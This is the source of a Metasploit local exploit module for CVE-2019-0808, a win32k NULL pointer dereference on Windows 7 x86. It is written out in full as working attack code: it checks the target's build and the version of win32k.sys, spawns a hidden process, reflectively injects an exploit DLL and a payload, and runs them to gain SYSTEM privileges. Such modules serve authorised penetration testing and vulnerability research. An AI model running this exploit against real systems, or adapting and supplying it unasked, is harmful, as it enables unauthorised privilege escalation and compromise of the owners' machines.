## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/file' require 'msf/core/exploit/exe' require 'msf/core/post/windows/priv' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Post::Windows::Priv include Msf::Post::Windows::FileInfo include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Windows NtUserMNDragOver Local Privilege Elevation', 'Description' => %q{ This module exploits a NULL pointer dereference vulnerability in MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call. The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint() function does not effectively check the validity of the tagPOPUPMENU objects it processes before passing them on to MNGetpItemFromIndex(), where the NULL pointer dereference will occur. This module has been tested against Windows 7 x86 SP0 and SP1. Offsets within the solution may need to be adjusted to work with other versions of Windows, such as Windows Server 2008. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'Grant Willcox', # exploit 'timwr' # msf module ], 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [ ['Windows 7 x86', { 'Arch' => ARCH_X86 }] ], 'SideEffects' => [SCREEN_EFFECTS], 'References' => [ ['CVE', '2019-0808'], ['URL', 'https://github.com/exodusintel/CVE-2019-0808'], ['URL', 'https://github.com/ze0r/cve-2019-0808-poc'], ['URL', 'http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html'], ['URL', 'https://blog.exodusintel.com/2019/05/17/windows-within-windows/'], ], 'DisclosureDate' => 'Mar 12 2019', 'DefaultTarget' => 0 ) ) register_options([ OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe']) ]) end def setup_process process_name = datastore['PROCESS'] begin print_status("Launching #{process_name} to host the exploit...") launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true) process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Sandboxes could not allow to create a new process # stdapi_sys_process_execute: Operation failed: Access is denied. print_error('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end process end def check sysinfo_value = sysinfo['OS'] if sysinfo_value !~ /windows/i # Non-Windows systems are definitely not affected. return CheckCode::Safe end build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i vprint_status("Windows Build Number = #{build_num}") # see https://docs.microsoft.com/en-us/windows/release-information/ unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601) print_error('The exploit only supports Windows 7 versions 7600 and 7601') return CheckCode::Safe end path = expand_path('%WINDIR%\\system32\\win32k.sys') major, minor, build, revision, brand = file_version(path) return CheckCode::Safe if revision >= 24387 CheckCode::Appears end def exploit super if is_system? fail_with(Failure::None, 'Session is already elevated') end if sysinfo['Architecture'] != ARCH_X86 fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end process = setup_process library_data = exploit_data('CVE-2019-0808', 'exploit.dll') print_status("Injecting exploit into #{process.pid} ...") exploit_mem, offset = inject_dll_data_into_process(process, library_data) print_status("Exploit injected. Injecting payload into #{process.pid}...") encoded_payload = payload.encoded payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) end end